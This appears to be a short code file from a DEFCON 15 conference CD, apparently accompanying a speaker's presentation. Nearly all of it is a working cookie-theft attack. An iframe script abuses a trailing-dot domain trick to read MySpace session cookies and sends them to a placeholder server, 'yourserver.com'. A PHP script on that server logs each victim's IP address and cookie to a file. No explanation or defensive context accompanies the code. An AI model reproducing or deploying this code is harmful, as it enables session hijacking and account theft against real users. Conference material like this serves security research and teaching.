home *** CD-ROM | disk | FTP | other *** search
/ DEFCON 15 / DefCon15.bin / Speakers / Deacon / Extras / CodeForPresentation.txt < prev   
Text File  |  2007-06-25  |  455b  |  20 lines

  1. IFrame Code:
  2.  
  3. <script type="text/javascript">
  4.     document.domain = "com.";
  5.     </script> 
  6.     <iframe src="http://home.myspace.com./" onload="stolen = escape(frames[0].document.cookie); document.location='http://yourserver.com/php/cookie.php?cookie='+(stolen)"></iframe> 
  7.  
  8.  
  9. PHP File Code:
  10.  
  11. <?php
  12.  
  13. $cookie = $_GET['cookie'];
  14. $ip = $_SERVER['REMOTE_ADDR'];
  15. $file = fopen('cookielog.txt', 'a');
  16. fwrite($file, $ip . "\n" . $cookie . "\n\n");
  17.  
  18. ?> 
  19.  
  20.